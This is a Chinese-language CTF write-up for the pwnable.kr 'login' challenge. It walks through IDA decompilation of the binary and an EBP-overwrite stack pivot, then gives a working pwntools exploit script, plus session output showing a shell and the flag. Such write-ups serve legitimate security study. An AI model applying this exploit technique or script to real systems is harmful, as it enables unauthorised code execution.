Can you get authentication from this server?
Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
Rookiss 初体验就从相对熟悉的逆向这一块开始好了。
下载好文件后发现是 elf 64 ,在虚拟机上简单跑一跑,要求输入一个 Authenticate ,程序会返回一个 hash 值,猜测是登录验证需要验证 hash,随即猜测正常流程应该走不通。而 romote host 又无法实现爆破,再猜测是需要溢出 :P
然后到物理机用 IDA 直接静态分析程序流程,茫茫多的静态模块....
不过还好程序流程并不复杂,粗略看了 IDA 的流程分析后,可以直接在程序入口处 F5, F4, F3;当前也可以直接看!
分析程序流程的过程无法用简单的语言描述, 反正看就是了。
笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。
main 函数的 Snowman F3 插件转换的伪代码如下:
int32_t main() {
void** esp1;
int32_t v2;
int32_t eax3;
int32_t eax4;
void* esp5;
void** esp6;
uint32_t eax7;
int32_t eax8;
esp1 = (void**)(((uint32_t)((int32_t)"zero stack offset"() - 4) & 0xfffffff0) - 64);
memset((uint32_t)esp1 + 30, 0, 30, v2);
eax3 = g811b860;
setvbuf(eax3, 0, 2, 0);
eax4 = g811b864;
setvbuf(eax4, 0, 1, 0);
printf("Authenticate : ", 0, 1, 0);
esp5 = (void*)(esp1 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1);
__isoc99_scanf("%30s", (uint32_t)esp5 + 30, 1, 0);
memset(0x811eb40, 0, 12, 0);
esp6 = (void**)((uint32_t)esp5 - 4 + 4 - 4 + 4);
eax7 = Base64Decode((uint32_t)esp6 + 30, esp6 + 6, 12, 0);
if (eax7 > 12) {
puts("Wrong Length", esp6 + 6, 12, 0);
} else {
memcpy(0x811eb40, 0, eax7, 0);
eax8 = auth(eax7, 0, eax7, 0);
if (eax8 == 1) {
correct(eax7, 0, eax7, 0);
}
}
return 0;
}
分析得到程序的大致执行流程如下:
- main 函数执行输入 Authenticate
- Authenticate 由 Base64 解码后判断长度是否大于12,大于则提示 Wrong Length
- 输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处
- 之后转入 auth 函数,参数中包含解码后的字串和其长度
- auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中
- 计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较
- 比较结果如果为相等,则返回 true,否则返回 false
- 返回 main 函数,判断 auth 函数的返回值
- 如果 auth 返回 false,则程序退出
- 如果 auth 返回 true ,进入correct 函数
- 判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef,若是,则输出成功信息并得到 shell ;否则退出程序
简单分析完毕后差不多就有一点思路了,正常流程既要验证 hash,前8个字节又要固定,基本是不可能的。
这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码:
可以看到在 call memcpy
mem(des, src, len) ,上方依次压入了三个参数(从右到左),分别是 len ,src,des。通过计算 0Ch + var_14 = 0Ch - 14h = -8,可知 des 的地址在 ebp 的上方(低地址处),偏移为 8 字节,而我们最多可输入 12 字节的内容,所以当输入 12 字节时,ebp 会被淹没。故而可以通过控制 ebp 的值来控制程序流程。
auth 返回处的汇编代码如下:
.text:0804930B leave
.text:0804930C retn
这两个指令可以转化为
mov esp, ebp ;esp的内容为ebp指向的栈地址
pop ebp ;ebp = ebp指向的栈地址中保存的值,esp + 4
pop eip ;程序转到 esp + 4 指向的地址执行
在这个程序中,只有输入的字串 Authenticate 是完全由我们控制的,设这里 Authenticate 经过 Base64 解码后为 playload。
那么第一次 leave retn 执行结束后,ebp = 淹没的 4 字节数据,即 playload 的最后 4 个字节内容;
第二次 leave retn 执行结束时,执行 mov esp, ebp
使得 esp 为 playload 最后 4 个字节的值,两次pop 后,得到 eip = playload 最后 4 个字节的值 + 4 的空间中保存的值。
接下来的问题是怎么构造 playload。由于 playload 为 12 字节,而这里淹没的数据块和劫持流程的地址加起来为 8 字节,所以这里 playload 很好地满足跳板的要求。
这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址;中间 4 个字节的值就可以传递到 eip 来控制程序流程,头 4 个字节作为长度填充(当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值,最后 4 字节的值为所需 eip 的值的地址 - 4 即可,其他 4 字节内容作为填充)。
中间的 4 个字节比较好分析,直接到 correct 函数的输出成功信息处:(跳过前4个字节的验证)
可以看到需要劫持程序前往的地址为0x08049278。
最后还需要去找 playload 的起始地址,最简单的方法就是在 IDA input offset 处双击即可看到:
可以看到 playload 的起始地址为 0x0811EB40。
终于可以写 exploit 了!填充内容是什么无关紧要,本着尊敬题目的原则,playload起始 4 字节的内容在这里还是根据 '0xdeadbeef' 来进行 Base64 加密,用 pwntools 构造 exploit如下:
from pwn import *
FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40
HOST = "pwnable.kr"
PORT = 9003
loginer = remote(HOST, PORT)
playload = (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")
loginer.recvuntil("Authenticate :")
loginer.sendline(playload)
loginer.interactive()
loginer.close()
不出意外地得到了 shell:
$ python exploit_login.py
[+] Opening connection to pwnable.kr on port 9003: Done
[*] Switching to interactive mode
hash : b307a813333efb8b1a35c6e5b5cbbabe
Congratulation! you are good!
$ ls -l
total 7852
-r--r----- 1 root simplelogin 58 Jun 10 2014 flag
-rw------- 1 root root 7070263 Mar 23 07:26 log
-r-xr-x--- 1 root simplelogin 955184 Jun 10 2014 simplelogin
-rwx------ 1 root root 784 Oct 23 07:43 super.pl
$ cat flag
control EBP, control ESP, control EIP, control the world~
正如 flag 说的,溢出的核心在我看来就是利用程序的某个漏洞找到跳板,绕过程序的各个验证机制,逐步劫持执行流程的过程。
切莫贪食,切莫不食。路还很长。
ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试,但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程,简单的搭建和操作之后会有介绍。